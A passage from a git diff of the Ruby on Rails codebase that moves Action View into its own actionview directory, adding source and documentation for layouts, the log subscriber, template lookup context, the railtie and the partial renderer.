+  #     layout proc { logged_in? ? "writer_layout" : "reader_layout" }
+  #   end
+  #
+  # Of course, the most common way of specifying a layout is still just as a plain template name:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout "weblog_standard"
+  #   end
+  #
+  # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
+  # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
+  #
+  # Setting the layout to nil forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
+  # Setting it to nil is useful to re-enable template lookup overriding a previous configuration set in the parent:
+  #
+  #     class ApplicationController < ActionController::Base
+  #       layout "application"
+  #     end
+  #
+  #     class PostsController < ApplicationController
+  #       # Will use "application" layout
+  #     end
+  #
+  #     class CommentsController < ApplicationController
+  #       # Will search for "comments" layout and fallback "application" layout
+  #       layout nil
+  #     end
+  #
+  # == Conditional layouts
+  #
+  # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
+  # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
+  # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout "weblog_standard", except: :rss
+  #
+  #     # ...
+  #
+  #   end
+  #
+  # This will assign "weblog_standard" as the WeblogController's layout for all actions except for the +rss+ action, which will
+  # be rendered directly, without wrapping a layout around the rendered view.
+  #
+  # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
+  # #<tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
+  #
+  # == Using a different layout in the action render call
+  #
+  # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
+  # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
+  # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout "weblog_standard"
+  #
+  #     def help
+  #       render action: "help", layout: "help"
+  #     end
+  #   end
+  #
+  # This will override the controller-wide "weblog_standard" layout, and will render the help action with the "help" layout instead.
+  module Layouts
+    extend ActiveSupport::Concern
+
+    include ActionView::Rendering
+
+    included do
+      class_attribute :_layout, :_layout_conditions, :instance_accessor => false
+      self._layout = nil
+      self._layout_conditions = {}
+      _write_layout_method
+    end
+
+    delegate :_layout_conditions, to: :class
+
+    module ClassMethods
+      def inherited(klass) # :nodoc:
+        super
+        klass._write_layout_method
+      end
+
+      # This module is mixed in if layout conditions are provided. This means
+      # that if no layout conditions are used, this method is not used
+      module LayoutConditions # :nodoc:
+        private
+
+        # Determines whether the current action has a layout definition by
+        # checking the action name against the :only and :except conditions
+        # set by the <tt>layout</tt> method.
+        #
+        # ==== Returns
+        # * <tt> Boolean</tt> - True if the action has a layout definition, false otherwise.
+        def _conditional_layout?
+          return unless super
+
+          conditions = _layout_conditions
+
+          if only = conditions[:only]
+            only.include?(action_name)
+          elsif except = conditions[:except]
+            !except.include?(action_name)
+          else
+            true
+          end
+        end
+      end
+
+      # Specify the layout to use for this class.
+      #
+      # If the specified layout is a:
+      # String:: the String is the template name
+      # Symbol:: call the method specified by the symbol, which will return the template name
+      # false::  There is no layout
+      # true::   raise an ArgumentError
+      # nil::    Force default layout behavior with inheritance
+      #
+      # ==== Parameters
+      # * <tt>layout</tt> - The layout to use.
+      #
+      # ==== Options (conditions)
+      # * :only   - A list of actions to apply this layout to.
+      # * :except - Apply this layout to all actions but this one.
+      def layout(layout, conditions = {})
+        include LayoutConditions unless conditions.empty?
+
+        conditions.each {|k, v| conditions[k] = Array(v).map {|a| a.to_s} }
+        self._layout_conditions = conditions
+
+        self._layout = layout
+        _write_layout_method
+      end
+
+      # Creates a _layout method to be called by _default_layout .
+      #
+      # If a layout is not explicitly mentioned then look for a layout with the controller's name.
+      # if nothing is found then try same procedure to find super class's layout.
+      def _write_layout_method # :nodoc:
+        remove_possible_method(:_layout)
+
+        prefixes    = _implied_layout_name =~ /\blayouts/ ? [] : ["layouts"]
+        default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}).first || super"
+        name_clause = if name
+          default_behavior
+        else
+          <<-RUBY
+            super
+          RUBY
+        end
+
+        layout_definition = case _layout
+          when String
+            _layout.inspect
+          when Symbol
+            <<-RUBY
+              #{_layout}.tap do |layout|
+                return #{default_behavior} if layout.nil?
+                unless layout.is_a?(String) || !layout
+                  raise ArgumentError, "Your layout method :#{_layout} returned \#{layout}. It " \
+                    "should have returned a String, false, or nil"
+                end
+              end
+            RUBY
+          when Proc
+            define_method :_layout_from_proc, &_layout
+            protected :_layout_from_proc
+            <<-RUBY
+              result = _layout_from_proc(#{_layout.arity == 0 ? '' : 'self'})
+              return #{default_behavior} if result.nil?
+              result
+            RUBY
+          when false
+            nil
+          when true
+            raise ArgumentError, "Layouts must be specified as a String, Symbol, Proc, false, or nil"
+          when nil
+            name_clause
+        end
+
+        self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def _layout
+            if _conditional_layout?
+              #{layout_definition}
+            else
+              #{name_clause}
+            end
+          end
+          private :_layout
+        RUBY
+      end
+
+      private
+
+      # If no layout is supplied, look for a template named the return
+      # value of this method.
+      #
+      # ==== Returns
+      # * <tt>String</tt> - A template name
+      def _implied_layout_name # :nodoc:
+        controller_path
+      end
+    end
+
+    def _normalize_options(options) # :nodoc:
+      super
+
+      if _include_layout?(options)
+        layout = options.delete(:layout) { :default }
+        options[:layout] = _layout_for_option(layout)
+      end
+    end
+
+    attr_internal_writer :action_has_layout
+
+    def initialize(*) # :nodoc:
+      @_action_has_layout = true
+      super
+    end
+
+    # Controls whether an action should be rendered using a layout.
+    # If you want to disable any <tt>layout</tt> settings for the
+    # current action so that it is rendered without a layout then
+    # either override this method in your controller to return false
+    # for that action or set the <tt>action_has_layout</tt> attribute
+    # to false before rendering.
+    def action_has_layout?
+      @_action_has_layout
+    end
+
+  private
+
+    def _conditional_layout?
+      true
+    end
+
+    # This will be overwritten by _write_layout_method
+    def _layout; end
+
+    # Determine the layout for a given name, taking into account the name type.
+    #
+    # ==== Parameters
+    # * <tt>name</tt> - The name of the template
+    def _layout_for_option(name)
+      case name
+      when String     then _normalize_layout(name)
+      when Proc       then name
+      when true       then Proc.new { _default_layout(true)  }
+      when :default   then Proc.new { _default_layout(false) }
+      when false, nil then nil
+      else
+        raise ArgumentError,
+          "String, Proc, :default, true, or false, expected for `layout'; you passed #{name.inspect}"
+      end
+    end
+
+    def _normalize_layout(value)
+      value.is_a?(String) && value !~ /\blayouts/ ? "layouts/#{value}" : value
+    end
+
+    # Returns the default layout for this controller.
+    # Optionally raises an exception if the layout could not be found.
+    #
+    # ==== Parameters
+    # * <tt>require_layout</tt> - If set to true and layout is not found,
+    #   an ArgumentError exception is raised (defaults to false)
+    #
+    # ==== Returns
+    # * <tt>template</tt> - The template object for the default layout (or nil)
+    def _default_layout(require_layout = false)
+      begin
+        value = _layout if action_has_layout?
+      rescue NameError => e
+        raise e, "Could not render layout: #{e.message}"
+      end
+
+      if require_layout && action_has_layout? && !value
+        raise ArgumentError,
+          "There was no default layout for #{self.class} in #{view_paths.inspect}"
+      end
+
+      _normalize_layout(value)
+    end
+
+    def _include_layout?(options)
+      (options.keys & [:body, :text, :plain, :html, :inline, :partial]).empty? || options.key?(:layout)
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/locale/en.yml b/actionview/lib/action_view/locale/en.yml
similarity index 100%
rename from actionpack/lib/action_view/locale/en.yml
rename to actionview/lib/action_view/locale/en.yml
diff --git a/actionview/lib/action_view/log_subscriber.rb b/actionview/lib/action_view/log_subscriber.rb
new file mode 100644
index 0000000..6c8d9cb
--- /dev/null
+++ b/actionview/lib/action_view/log_subscriber.rb
@@ -0,0 +1,44 @@
+require 'active_support/log_subscriber'
+
+module ActionView
+  # = Action View Log Subscriber
+  #
+  # Provides functionality so that Rails can output logs from Action View.
+  class LogSubscriber < ActiveSupport::LogSubscriber
+    VIEWS_PATTERN = /^app\/views\//
+
+    def initialize
+      @root = nil
+      super
+    end
+
+    def render_template(event)
+      return unless logger.info?
+      message = "  Rendered #{from_rails_root(event.payload[:identifier])}"
+      message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+      message << " (#{event.duration.round(1)}ms)"
+      info(message)
+    end
+    alias :render_partial :render_template
+    alias :render_collection :render_template
+
+    def logger
+      ActionView::Base.logger
+    end
+
+  protected
+
+    EMPTY = ''
+    def from_rails_root(string)
+      string = string.sub(rails_root, EMPTY)
+      string.sub!(VIEWS_PATTERN, EMPTY)
+      string
+    end
+
+    def rails_root
+      @root ||= "#{Rails.root}/"
+    end
+  end
+end
+
+ActionView::LogSubscriber.attach_to :action_view
diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb
new file mode 100644
index 0000000..855fed0
--- /dev/null
+++ b/actionview/lib/action_view/lookup_context.rb
@@ -0,0 +1,257 @@
+require 'thread_safe'
+require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'action_view/template/resolver'
+
+module ActionView
+  # = Action View Lookup Context
+  #
+  # LookupContext is the object responsible to hold all information required to lookup
+  # templates, i.e. view paths and details. The LookupContext is also responsible to
+  # generate a key, given to view paths, used in the resolver cache lookup. Since
+  # this key is generated just once during the request, it speeds up all cache accesses.
+  class LookupContext #:nodoc:
+    attr_accessor :prefixes, :rendered_format
+
+    mattr_accessor :fallbacks
+    @@fallbacks = FallbackFileSystemResolver.instances
+
+    mattr_accessor :registered_details
+    self.registered_details = []
+
+    def self.register_detail(name, options = {}, &block)
+      self.registered_details << name
+      initialize = registered_details.map { |n| "@details[:#{n}] = details[:#{n}] || default_#{n}" }
+
+      Accessors.send :define_method, :"default_#{name}", &block
+      Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
+        def #{name}
+          @details.fetch(:#{name}, [])
+        end
+
+        def #{name}=(value)
+          value = value.present? ? Array(value) : default_#{name}
+          _set_detail(:#{name}, value) if value != @details[:#{name}]
+        end
+
+        remove_possible_method :initialize_details
+        def initialize_details(details)
+          #{initialize.join("\n")}
+        end
+      METHOD
+    end
+
+    # Holds accessors for the registered details.
+    module Accessors #:nodoc:
+    end
+
+    register_detail(:locale) do
+      locales = [I18n.locale]
+      locales.concat(I18n.fallbacks[I18n.locale]) if I18n.respond_to? :fallbacks
+      locales << I18n.default_locale
+      locales.uniq!
+      locales
+    end
+    register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css,  :xml, :json] }
+    register_detail(:variants) { [] }
+    register_detail(:handlers){ Template::Handlers.extensions }
+
+    class DetailsKey #:nodoc:
+      alias :eql? :equal?
+      alias :object_hash :hash
+
+      attr_reader :hash
+      @details_keys = ThreadSafe::Cache.new
+
+      def self.get(details)
+        if details[:formats]
+          details = details.dup
+          syms    = Set.new Mime::SET.symbols
+          details[:formats] = details[:formats].select { |v|
+            syms.include? v
+          }
+        end
+        @details_keys[details] ||= new
+      end
+
+      def self.clear
+        @details_keys.clear
+      end
+
+      def initialize
+        @hash = object_hash
+      end
+    end
+
+    # Add caching behavior on top of Details.
+    module DetailsCache
+      attr_accessor :cache
+
+      # Calculate the details key. Remove the handlers from calculation to improve performance
+      # since the user cannot modify it explicitly.
+      def details_key #:nodoc:
+        @details_key ||= DetailsKey.get(@details) if @cache
+      end
+
+      # Temporary skip passing the details_key forward.
+      def disable_cache
+        old_value, @cache = @cache, false
+        yield
+      ensure
+        @cache = old_value
+      end
+
+    protected
+
+      def _set_detail(key, value)
+        @details = @details.dup if @details_key
+        @details_key = nil
+        @details[key] = value
+      end
+    end
+
+    # Helpers related to template lookup using the lookup context information.
+    module ViewPaths
+      attr_reader :view_paths, :html_fallback_for_js
+
+      # Whenever setting view paths, makes a copy so we can manipulate then in
+      # instance objects as we wish.
+      def view_paths=(paths)
+        @view_paths = ActionView::PathSet.new(Array(paths))
+      end
+
+      def find(name, prefixes = [], partial = false, keys = [], options = {})
+        @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options))
+      end
+      alias :find_template :find
+
+      def find_all(name, prefixes = [], partial = false, keys = [], options = {})
+        @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options))
+      end
+
+      def exists?(name, prefixes = [], partial = false, keys = [], options = {})
+        @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options))
+      end
+      alias :template_exists? :exists?
+
+      # Add fallbacks to the view paths. Useful in cases you are rendering a :file.
+      def with_fallbacks
+        added_resolvers = 0
+        self.class.fallbacks.each do |resolver|
+          next if view_paths.include?(resolver)
+          view_paths.push(resolver)
+          added_resolvers += 1
+        end
+        yield
+      ensure
+        added_resolvers.times { view_paths.pop }
+      end
+
+    protected
+
+      def args_for_lookup(name, prefixes, partial, keys, details_options) #:nodoc:
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for(details_options)
+        [name, prefixes, partial || false, details, details_key, keys]
+      end
+
+      # Compute details hash and key according to user options (e.g. passed from #render).
+      def detail_args_for(options)
+        return @details, details_key if options.empty? # most common path.
+        user_details = @details.merge(options)
+
+        if @cache
+          details_key = DetailsKey.get(user_details)
+        else
+          details_key = nil
+        end
+
+        [user_details, details_key]
+      end
+
+      # Support legacy foo.erb names even though we now ignore .erb
+      # as well as incorrectly putting part of the path in the template
+      # name instead of the prefix.
+      def normalize_name(name, prefixes) #:nodoc:
+        prefixes = prefixes.presence
+        parts    = name.to_s.split('/')
+        parts.shift if parts.first.empty?
+        name     = parts.pop
+
+        return name, prefixes || [""] if parts.empty?
+
+        parts    = parts.join('/')
+        prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts]
+
+        return name, prefixes
+      end
+    end
+
+    include Accessors
+    include DetailsCache
+    include ViewPaths
+
+    def initialize(view_paths, details = {}, prefixes = [])
+      @details, @details_key = {}, nil
+      @skip_default_locale = false
+      @cache = true
+      @prefixes = prefixes
+      @rendered_format = nil
+
+      self.view_paths = view_paths
+      initialize_details(details)
+    end
+
+    # Override formats= to expand ["*/*"] values and automatically
+    # add :html as fallback to :js.
+    def formats=(values)
+      if values
+        values.concat(default_formats) if values.delete "*/*"
+        if values == [:js]
+          values << :html
+          @html_fallback_for_js = true
+        end
+      end
+      super(values)
+    end
+
+    # Do not use the default locale on template lookup.
+    def skip_default_locale!
+      @skip_default_locale = true
+      self.locale = nil
+    end
+
+    # Override locale to return a symbol instead of array.
+    def locale
+      @details[:locale].first
+    end
+
+    # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
+    # to original_config, it means that it's has a copy of the original I18n configuration and it's
+    # acting as proxy, which we need to skip.
+    def locale=(value)
+      if value
+        config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
+        config.locale = value
+      end
+
+      super(@skip_default_locale ? I18n.locale : default_locale)
+    end
+
+    # A method which only uses the first format in the formats array for layout lookup.
+    def with_layout_format
+      if formats.size == 1
+        yield
+      else
+        old_formats = formats
+        _set_detail(:formats, formats[0,1])
+
+        begin
+          yield
+        ensure
+          _set_detail(:formats, old_formats)
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/model_naming.rb b/actionview/lib/action_view/model_naming.rb
similarity index 100%
rename from actionpack/lib/action_view/model_naming.rb
rename to actionview/lib/action_view/model_naming.rb
diff --git a/actionpack/lib/action_view/path_set.rb b/actionview/lib/action_view/path_set.rb
similarity index 100%
rename from actionpack/lib/action_view/path_set.rb
rename to actionview/lib/action_view/path_set.rb
diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb
new file mode 100644
index 0000000..81f9c40
--- /dev/null
+++ b/actionview/lib/action_view/railtie.rb
@@ -0,0 +1,49 @@
+require "action_view"
+require "rails"
+
+module ActionView
+  # = Action View Railtie
+  class Railtie < Rails::Railtie # :nodoc:
+    config.action_view = ActiveSupport::OrderedOptions.new
+    config.action_view.embed_authenticity_token_in_remote_forms = false
+
+    config.eager_load_namespaces << ActionView
+
+    initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
+      ActiveSupport.on_load(:action_view) do
+        ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
+          app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
+      end
+    end
+
+    initializer "action_view.logger" do
+      ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
+    end
+
+    initializer "action_view.set_configs" do |app|
+      ActiveSupport.on_load(:action_view) do
+        app.config.action_view.each do |k,v|
+          send "#{k}=", v
+        end
+      end
+    end
+
+    initializer "action_view.caching" do |app|
+      ActiveSupport.on_load(:action_view) do
+        if app.config.action_view.cache_template_loading.nil?
+          ActionView::Resolver.caching = app.config.cache_classes
+        end
+      end
+    end
+
+    initializer "action_view.setup_action_pack" do |app|
+      ActiveSupport.on_load(:action_controller) do
+        ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+      end
+    end
+
+    rake_tasks do
+      load "action_view/tasks/dependencies.rake"
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/record_identifier.rb b/actionview/lib/action_view/record_identifier.rb
similarity index 100%
rename from actionpack/lib/action_view/record_identifier.rb
rename to actionview/lib/action_view/record_identifier.rb
diff --git a/actionpack/lib/action_view/renderer/abstract_renderer.rb b/actionview/lib/action_view/renderer/abstract_renderer.rb
similarity index 100%
rename from actionpack/lib/action_view/renderer/abstract_renderer.rb
rename to actionview/lib/action_view/renderer/abstract_renderer.rb
diff --git a/actionview/lib/action_view/renderer/partial_renderer.rb b/actionview/lib/action_view/renderer/partial_renderer.rb
new file mode 100644
index 0000000..36f17f0
--- /dev/null
+++ b/actionview/lib/action_view/renderer/partial_renderer.rb
@@ -0,0 +1,492 @@
+require 'thread_safe'
+
+module ActionView
+  # = Action View Partials
+  #
+  # There's also a convenience method for rendering sub templates within the current controller that depends on a
+  # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
+  # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
+  # templates that could be rendered on their own.
+  #
+  # In a template for Advertiser#account:
+  #
+  #  <%= render partial: "account" %>
+  #
+  # This would render "advertiser/_account.html.erb".
+  #
+  # In another template for Advertiser#buy, we could have:
+  #
+  #   <%= render partial: "account", locals: { account: @buyer } %>
+  #
+  #   <% @advertisements.each do |ad| %>
+  #     <%= render partial: "ad", locals: { ad: ad } %>
+  #   <% end %>
+  #
+  # This would first render "advertiser/_account.html.erb" with @buyer passed in as the local variable +account+, then
+  # render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display.
+  #
+  # == The :as and :object options
+  #
+  # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
+  # The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
+  #
+  #   <%= render partial: "account", object: @buyer %>
+  #
+  # would provide the <tt>@buyer</tt> object to the partial, available under the local variable +account+ and is
+  # equivalent to:
+  #
+  #   <%= render partial: "account", locals: { account: @buyer } %>
+  #
+  # With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we
+  # wanted it to be +user+ instead of +account+ we'd do:
+  #
+  #   <%= render partial: "account", object: @buyer, as: 'user' %>
+  #
+  # This is equivalent to
+  #
+  #   <%= render partial: "account", locals: { user: @buyer } %>
+  #
+  # == Rendering a collection of partials
+  #
+  # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
+  # render a sub template for each of the elements. This pattern has been implemented as a single method that
+  # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
+  # example in "Using partials" can be rewritten with a single line:
+  #
+  #   <%= render partial: "ad", collection: @advertisements %>
+  #
+  # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
+  # iteration counter will automatically be made available to the template with a name of the form
+  # +partial_name_counter+. In the case of the example above, the template would be fed +ad_counter+.
+  #
+  # The <tt>:as</tt> option may be used when rendering partials.
+  #
+  # You can specify a partial to be rendered between elements via the <tt>:spacer_template</tt> option.
+  # The following example will render <tt>advertiser/_ad_divider.html.erb</tt> between each ad partial:
+  #
+  #   <%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
+  #
+  # If the given <tt>:collection</tt> is nil or empty, <tt>render</tt> will return nil. This will allow you
+  # to specify a text which will displayed instead by using this form:
+  #
+  #   <%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
+  #
+  # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
+  # just keep domain objects, like Active Records, in there.
+  #
+  # == Rendering shared partials
+  #
+  # Two controllers can share a set of partials and render them like this:
+  #
+  #   <%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
+  #
+  # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
+  #
+  # == Rendering objects that respond to `to_partial_path`
+  #
+  # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
+  # and pick the proper path by checking `to_partial_path` method.
+  #
+  #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+  #  # <%= render partial: "accounts/account", locals: { account: @account} %>
+  #  <%= render partial: @account %>
+  #
+  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+  #  # that's why we can replace:
+  #  # <%= render partial: "posts/post", collection: @posts %>
+  #  <%= render partial: @posts %>
+  #
+  # == Rendering the default case
+  #
+  # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
+  # defaults of render to render partials. Examples:
+  #
+  #  # Instead of <%= render partial: "account" %>
+  #  <%= render "account" %>
+  #
+  #  # Instead of <%= render partial: "account", locals: { account: @buyer } %>
+  #  <%= render "account", account: @buyer %>
+  #
+  #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+  #  # <%= render partial: "accounts/account", locals: { account: @account} %>
+  #  <%= render @account %>
+  #
+  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+  #  # that's why we can replace:
+  #  # <%= render partial: "posts/post", collection: @posts %>
+  #  <%= render @posts %>
+  #
+  # == Rendering partials with layouts
+  #
+  # Partials can have their own layouts applied to them. These layouts are different than the ones that are
+  # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
+  # of users:
+  #
+  #   <%# app/views/users/index.html.erb &>
+  #   Here's the administrator:
+  #   <%= render partial: "user", layout: "administrator", locals: { user: administrator } %>
+  #
+  #   Here's the editor:
+  #   <%= render partial: "user", layout: "editor", locals: { user: editor } %>
+  #
+  #   <%# app/views/users/_user.html.erb &>
+  #   Name: <%= user.name %>
+  #
+  #   <%# app/views/users/_administrator.html.erb &>
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     <%= yield %>
+  #   </div>
+  #
+  #   <%# app/views/users/_editor.html.erb &>
+  #   <div id="editor">
+  #     Deadline: <%= user.deadline %>
+  #     <%= yield %>
+  #   </div>
+  #
+  # ...this will return:
+  #
+  #   Here's the administrator:
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     Name: <%= user.name %>
+  #   </div>
+  #
+  #   Here's the editor:
+  #   <div id="editor">
+  #     Deadline: <%= user.deadline %>
+  #     Name: <%= user.name %>
+  #   </div>
+  #
+  # If a collection is given, the layout will be rendered once for each item in
+  # the collection. For example, these two snippets have the same output:
+  #
+  #   <%# app/views/users/_user.html.erb %>
+  #   Name: <%= user.name %>
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   <%# This does not use layouts %>
+  #   <ul>
+  #     <% users.each do |user| -%>
+  #       <li>
+  #         <%= render partial: "user", locals: { user: user } %>
+  #       </li>
+  #     <% end -%>
+  #   </ul>
+  #
+  #   <%# app/views/users/_li_layout.html.erb %>
+  #   <li>
+  #     <%= yield %>
+  #   </li>
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   <ul>
+  #     <%= render partial: "user", layout: "li_layout", collection: users %>
+  #   </ul>
+  #
+  # Given two users whose names are Alice and Bob, these snippets return:
+  #
+  #   <ul>
+  #     <li>
+  #       Name: Alice
+  #     </li>
+  #     <li>
+  #       Name: Bob
+  #     </li>
+  #   </ul>
+  #
+  # The current object being rendered, as well as the object_counter, will be
+  # available as local variables inside the layout template under the same names
+  # as available in the partial.
+  #
+  # You can also apply a layout to a block within any template:
+  #
+  #   <%# app/views/users/_chief.html.erb &>
+  #   <%= render(layout: "administrator", locals: { user: chief }) do %>
+  #     Title: <%= chief.title %>
+  #   <% end %>
+  #
+  # ...this will return:
+  #
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     Title: <%= chief.name %>
+  #   </div>
+  #
+  # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
+  #
+  # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
+  # an array to layout and treat it as an enumerable.
+  #
+  #   <%# app/views/users/_user.html.erb &>
+  #   <div class="user">
+  #     Budget: $<%= user.budget %>
+  #     <%= yield user %>
+  #   </div>
+  #
+  #   <%# app/views/users/index.html.erb &>
+  #   <%= render layout: @users do |user| %>
+  #     Title: <%= user.title %>
+  #   <% end %>
+  #
+  # This will render the layout for each user and yield to the block, passing the user, each time.
+  #
+  # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
+  #
+  #   <%# app/views/users/_user.html.erb &>
+  #   <div class="user">
+  #     <%= yield user, :header %>
+  #     Budget: $<%= user.budget %>
+  #     <%= yield user, :footer %>
+  #   </div>
+  #
+  #   <%# app/views/users/index.html.erb &>
+  #   <%= render layout: @users do |user, section| %>
+  #     <%- case section when :header -%>
+  #       Title: <%= user.title %>
+  #     <%- when :footer -%>
+  #       Deadline: <%= user.deadline %>
+  #     <%- end -%>
+  #   <% end %>
+  class PartialRenderer < AbstractRenderer
+    PREFIXED_PARTIAL_NAMES = ThreadSafe::Cache.new do |h, k|
+      h[k] = ThreadSafe::Cache.new
+    end
+
+    def initialize(*)
+      super
+      @context_prefix = @lookup_context.prefixes.first
+    end
+
+    def render(context, options, block)
+      setup(context, options, block)
+      identifier = (@template = find_partial) ? @template.identifier : @path
+
+      @lookup_context.rendered_format ||= begin
+        if @template && @template.formats.present?
+          @template.formats.first
+        else
+          formats.first
+        end
+      end
+
+      if @collection
+        instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do
+          render_collection
+        end
+      else
+        instrument(:partial, :identifier => identifier) do
+          render_partial
+        end
+      end
+    end
+
+    def render_collection
+      return nil if @collection.blank?
+
+      if @options.key?(:spacer_template)
+        spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals)
+      end
+
+      result = @template ? collection_with_template : collection_without_template
+      result.join(spacer).html_safe
+    end
+
+    def render_partial
+      view, locals, block = @view, @locals, @block
+      object, as = @object, @variable
+
+      if !block && (layout = @options[:layout])
+        layout = find_template(layout.to_s, @template_keys)
+      end
+
+      object ||= locals[as]
+      locals[as] = object
+
+      content = @template.render(view, locals) do |*name|
+        view._layout_for(*name, &block)
+      end
+
+      content = layout.render(view, locals){ content } if layout
+      content
+    end
+
+    private
+
+    # Sets up instance variables needed for rendering a partial. This method
+    # finds the options and details and extracts them. The method also contains
+    # logic that handles the type of object passed in as the partial.
+    #
+    # If +options[:partial]+ is a string, then the + at path+ instance variable is
+    # set to that string. Otherwise, the +options[:partial]+ object must
+    # respond to +to_partial_path+ in order to setup the path.
+    def setup(context, options, block)
+      @view   = context
+      partial = options[:partial]
+
+      @options = options
+      @locals  = options[:locals] || {}
+      @block   = block
+      @details = extract_details(options)
+
+      prepend_formats(options[:formats])
+
+      if String === partial
+        @object     = options[:object]
+        @path       = partial
+        @collection = collection
+      else
+        @object = partial
+
+        if @collection = collection_from_object || collection
+          paths = @collection_data = @collection.map { |o| partial_path(o) }
+          @path = paths.uniq.size == 1 ? paths.first : nil
+        else
+          @path = partial_path
+        end
+      end
+
+      if as = options[:as]
+        raise_invalid_identifier(as) unless as.to_s =~ /\A[a-z_]\w*\z/
+        as = as.to_sym
+      end
+
+      if @path
+        @variable, @variable_counter = retrieve_variable(@path, as)
+        @template_keys = retrieve_template_keys
+      else
+        paths.map! { |path| retrieve_variable(path, as).unshift(path) }
+      end
+
+      self
+    end
+
+    def collection
+      if @options.key?(:collection)
+        collection = @options[:collection]
+        collection.respond_to?(:to_ary) ? collection.to_ary : []
+      end
+    end
+
+    def collection_from_object
+      @object.to_ary if @object.respond_to?(:to_ary)
+    end
+
+    def find_partial
+      if path = @path
+        find_template(path, @template_keys)
+      end
+    end
+
+    def find_template(path, locals)
+      prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
+      @lookup_context.find_template(path, prefixes, true, locals, @details)
+    end
+
+    def collection_with_template
+      view, locals, template = @view, @locals, @template
+      as, counter = @variable, @variable_counter
+
+      if layout = @options[:layout]
+        layout = find_template(layout, @template_keys)
+      end
+
+      index = -1
+      @collection.map do |object|
+        locals[as]      = object
+        locals[counter] = (index += 1)
+
+        content = template.render(view, locals)
+        content = layout.render(view, locals) { content } if layout
+        content
+      end
+    end
+
+    def collection_without_template
+      view, locals, collection_data = @view, @locals, @collection_data
+      cache = {}
+      keys  = @locals.keys
+
+      index = -1
+      @collection.map do |object|
+        index += 1
+        path, as, counter = collection_data[index]
+
+        locals[as]      = object
+        locals[counter] = index
+
+        template = (cache[path] ||= find_template(path, keys + [as, counter]))
+        template.render(view, locals)
+      end
+    end
+
+    # Obtains the path to where the object's partial is located. If the object
+    # responds to +to_partial_path+, then +to_partial_path+ will be called and
+    # will provide the path. If the object does not respond to +to_partial_path+,
+    # then an +ArgumentError+ is raised.
+    #
+    # If +prefix_partial_path_with_controller_namespace+ is true, then this
+    # method will prefix the partial paths with a namespace.
+    def partial_path(object = @object)
+      object = object.to_model if object.respond_to?(:to_model)
+
+      path = if object.respond_to?(:to_partial_path)
+        object.to_partial_path
+      else
